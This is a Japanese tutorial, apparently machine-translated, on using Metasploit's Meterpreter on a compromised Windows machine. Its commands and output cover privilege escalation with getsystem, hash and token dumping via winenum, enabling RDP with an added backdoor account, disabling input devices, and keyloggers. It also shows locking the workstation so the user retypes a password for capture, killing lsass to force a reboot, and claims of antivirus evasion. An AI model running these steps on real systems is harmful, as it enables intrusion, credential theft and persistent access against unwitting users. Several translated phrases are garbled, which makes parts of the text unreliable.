Meterpreterとは何ですか?
Meterpreterは、実行時に動的に拡張できる高度な多機能充填(ペイロード)です。 通常の状況では、これは基本的なシェルを提供し、必要に応じて新しい機能を追加できることを意味します。
最初の最も一般的なアクションは、プロセスにエクスプローラーを導入することです。 このオプションは、migrateコマンドによって提供されます。
meterpreter > migrate 1888 #1888 — PID ,    - ps 
      
        
        
        
      
     [*] Migrating to 1888... 
      
        
        
        
      
     [*] Migration completed successfully.
      
      さらに、原則として、システム特権への特権エスカレーションが実行されます。 これを行うには、バージョン3.1以降のすべてのバージョンのWindowsで発見された脆弱性を使用するgetsystemコマンドがあります。
meterpreter > getsystem 
      
        
        
        
      
     ...got system (via technique 1).
      
      情報収集
マシンに接続した後の次のステップは、ワインナムスクリプトの存在により、情報を収集することです。
meterpreter > run winenum 
      
        
        
        
      
     [*] Running Windows Local Enumerion Meterpreter Script 
      
        
        
        
      
     [*] New session on 192.168..:1197... 
      
        
        
        
      
     [*] Saving general report to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931/MICROSOF-30B51A_20111024.0931.txt 
      
        
        
        
      
     [*] Output of each individual command is saved to /root/.msf4/logs/scripts/winenum/MICROSOF-30B51A_20111024.0931 
      
        
        
        
      
     [*] Checking if MICROSOF-30B51A is a Virtual Machine ........ 
      
        
        
        
      
     [*] UAC is Disabled 
      
        
        
        
      
     [*] Running Command List ... 
      
        
        
        
      
     [*] running command net view 
      
        
        
        
      
     [*] running command netstat -ns 
      
        
        
        
      
     [*] running command net accounts 
      
        
        
        
      
     [*] running command netstat -vb 
      
        
        
        
      
     [*] running command route print 
      
        
        
        
      
     [*] running command netstat -nao 
      
        
        
        
      
     [*] running command ipconfig /all 
      
        
        
        
      
     [*] running command arp -a 
      
        
        
        
      
     [*] running command cmd.exe /c set 
      
        
        
        
      
     [*] running command ipconfig /displaydns 
      
        
        
        
      
     [*] running command tasklist /svc 
      
        
        
        
      
     [*] running command netsh firewall show config 
      
        
        
        
      
     [*] running command net group administrators 
      
        
        
        
      
     [*] running command net view /domain 
      
        
        
        
      
     [*] running command net localgroup administrators 
      
        
        
        
      
     [*] running command net localgroup 
      
        
        
        
      
     [*] running command net user 
      
        
        
        
      
     [*] running command net group 
      
        
        
        
      
     [*] running command net session 
      
        
        
        
      
     [*] running command net share 
      
        
        
        
      
     [*] running command gpresult /SCOPE USER /Z 
      
        
        
        
      
     [*] running command gpresult /SCOPE COMPUTER /Z 
      
        
        
        
      
     [*] Running WMIC Commands .... 
      
        
        
        
      
     [*] running command wmic netlogin get name,lastlogon,badpasswordcount 
      
        
        
        
      
     [*] running command wmic nteventlog get path,filename,writeable 
      
        
        
        
      
     [*] running command wmic netclient list brief 
      
        
        
        
      
     [*] running command wmic share get name,path 
      
        
        
        
      
     [*] running command wmic logicaldisk get description,filesystem,name,size 
      
        
        
        
      
     [*] running command wmic volume list brief 
      
        
        
        
      
     [*] running command wmic netuse get name,username,connectiontype,localname 
      
        
        
        
      
     [*] running command wmic service list brief 
      
        
        
        
      
     [*] running command wmic group list 
      
        
        
        
      
     [*] running command wmic useraccount list 
      
        
        
        
      
     [*] running command wmic qfe 
      
        
        
        
      
     [*] running command wmic product get name,version 
      
        
        
        
      
     [*] running command wmic rdtoggle list 
      
        
        
        
      
     [*] running command wmic startup list full 
      
        
        
        
      
     [*] Extracting software list from registry 
      
        
        
        
      
     [*] Dumping password hashes... 
      
        
        
        
      
     [*] Getting Tokens... 
      
        
        
        
      
     [*] All tokens have been processed 
      
        
        
        
      
     [*] Done!
      
      パスワードのハッシュ、システム設定、ユーザーのリストなどを取得します。
システムレジストリのダンプなど、より広範な情報を収集する別のスクリプトがありますが、時には問題があるため、説明しません。 このスクリプトはスクレーパーと呼ばれます。
リモートデスクトップ
私たちにとって興味深いのは、リモートデスクトップにアクセスすることです。 私たちはこのためのすべての手段を持っているので、この問題についてさらに詳しく説明しましょう。 すべての接続設定を実行するスクリプトは、getguiと呼ばれます。 リモートマシンでRDPプロトコルの使用を有効にするには、-eオプションを使用します。
meterpreter > run getgui -e 
      
        
        
        
      
     [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
      
        
        
        
      
     [*] Carlos Perez carlos_perez@darkoperator.com 
      
        
        
        
      
     [*] Enabling Remote Desktop 
      
        
        
        
      
     [*] RDP is already enabled 
      
        
        
        
      
     [*] Setting Terminal Services service startup mode 
      
        
        
        
      
     [*] Terminal Services service is already set to auto 
      
        
        
        
      
     [*] Opening port in local firewall if necessary 
      
        
        
        
      
     [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1517.rc 
      
        
        
        
      
    
      
      次に、新しいユーザーを追加する必要があります。
meterpreter > run getgui -u NAME -p PASSWORD 
      
        
        
        
      
     [*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator 
      
        
        
        
      
     [*] Carlos Perez carlos_perez@darkoperator.com 
      
        
        
        
      
     [*] Setting user account for logon 
      
        
        
        
      
     [*] Adding User: NAME with Password: PASSWORD 
      
        
        
        
      
     [*] Adding User: NAME to local group '                                      ' 
      
        
        
        
      
     [*] Adding User: NAME to local group '              ' 
      
        
        
        
      
     [*] You can now login with the created user 
      
        
        
        
      
     [*] For cleanup use command: run multi_console_command -rc /root/.msf4/logs/scripts/getgui/clean_up__20111024.1642.rc
      
      NAMEはユーザー名、PASSWORDはパスワードです。
シェルを入手
リモートマシンでシェルを取得する必要がある場合、同じ名前のシェルコマンドが実行されます。 または、cmdを手動で実行します。
機器運用
キーボードまたはマウスを無効にする必要がある場合は、uictlコマンドを使用します。 以下のパラメーターを受け入れます。
uictl [enable/disable] [keyboard/mouse]
      
      有効-有効にします。 disable-無効にします。
meterpreter > uictl disable mouse #  
      
        
        
        
      
     Disabling mouse... 
      
        
        
        
      
     meterpreter > uictl enable mouse #  
      
        
        
        
      
     Enabling mouse... 
      
        
        
        
      
     meterpreter > uictl disable keyboard #  
      
        
        
        
      
     Disabling keyboard... 
      
        
        
        
      
     meterpreter > uictl enable keyboard #  
      
        
        
        
      
     Enabling keyboard...
      
      キーロガー
すでに2つの組み込みキーロガーがあります。 1つは単なるコマンドセットです。keyscan_start-キーロガーを起動します。 keyscan_dump-結果を表示します。 keyscan_stop-キーロガーを停止します。
keylogrecorderと呼ばれるスクリプトもあります。 キースキャンよりも効率的であり、さらに、結果をログに書き込みます。
meterpreter > bgrun keylogrecorder 
      
        
        
        
      
     [*] Executed Meterpreter with Job ID 2 
      
        
        
        
      
     meterpreter > [*] Starting the keystroke sniffer... 
      
        
        
        
      
     [*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.._20111024.4455.txt #  
      
        
        
        
      
     [*] Recording 
      
        
        
        
      
     
      
        
        
        
      
     meterpreter > bgkill 2 #  
      
        
        
        
      
     [*] Killing background job 2...
      
      ルビー
Meterpreterは、Rubyスクリプトも提供します。 たとえば、ウィンドウにメッセージ(MessageBox)を表示したり、ワークステーションをロックしたりできます。 これを行うには、最初にレールガンを接続する必要があります。
meterpreter > irb 
      
        
        
        
      
     > client.core.use(«railgun») 
      
        
        
        
      
     => true
      
      次に、ワークステーションをロックするには:
> client.railgun.user32.LockWorkstation() # 
      
        
        
        
      
     => {«GetLastError» => 0. «return» => true} #  
      
      これは、キーロガーと組み合わせてユーザーパスワードを取得するためによく使用されます。
meterpreter > bgrun keylogrecorder #  
      
        
        
        
      
     [*] Executed Meterpreter with Job ID 2 
      
        
        
        
      
     meterpreter > [*] Starting the keystroke sniffer... 
      
        
        
        
      
     [*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.2.27_20111024.4455.txt #  
      
        
        
        
      
     [*] Recording 
      
        
        
        
      
     
      
        
        
        
      
     meterpreter > irb 
      
        
        
        
      
     > client.core.use(«railgun») # railgun 
      
        
        
        
      
     => true 
      
        
        
        
      
     > client.railgun.user32.LockWorkstation() #   
      
        
        
        
      
     => {«GetLastError» => 0. «return» => true}
      
      ユーザーは、Windowsバギーを参照してパスワードを入力し、キーロガーログで確認します。
メッセージダイアログの表示も簡単です。
> client.railgun.user32.MessageBoxA(0, « », «», «MB_OK»)
      
      このようなメッセージの出力の詳細については、MSDNをご覧ください。
別の興味深いスクリーンショットコマンドがあります。 これにより、リモートマシンでスクリーンショットを撮ることができます。 Linuxで作業している場合、スクリーンショットはmsf3フォルダーに保存されるため、Metasploitはrootとして実行する必要があります。
マシンをオフにするか再起動する必要がある場合は、同じ名前のシャットダウンおよび再起動コマンドがあります。 シャットダウンまたは再起動が機能しなかった場合、lsass.exeプロセスを強制終了し、1分後にシステムが再起動します。
meterpreter > kill 866 #866 — PID ,  ps,   
      
      もう一度考えてみましょう。 Meterpreterをさまざまなウイルス対策とファイアウォールを備えたマシン、特にOutpost博士でテストしました。 WebおよびKIS。 完全なチェックが実行され、セキュリティ強化モードがオンになりましたが、それにもかかわらず、メータープレターは気付かれないままでした。
 おわりに 
      
        
        
        
      
    
      Meterpreterは、多数の組み込みツールに加えて、機能を拡張する機能を備えたリモートコントロール用の優れたツールです。 同時に、ほとんどのウイルス対策ソフトでは誰にとっても完全に見えません(すべてをチェックしたわけではありませんが、知りません)。 もちろん、それを検出するための個別のツールがあります。たとえば、シマンテックはそれをリリースしたのでダウンロードできますが、ほとんどの一般ユーザーはmeterpreterが何であり、脅威となるものを認識していないため、IMHOは検出のために個別の製品をダウンロードしません。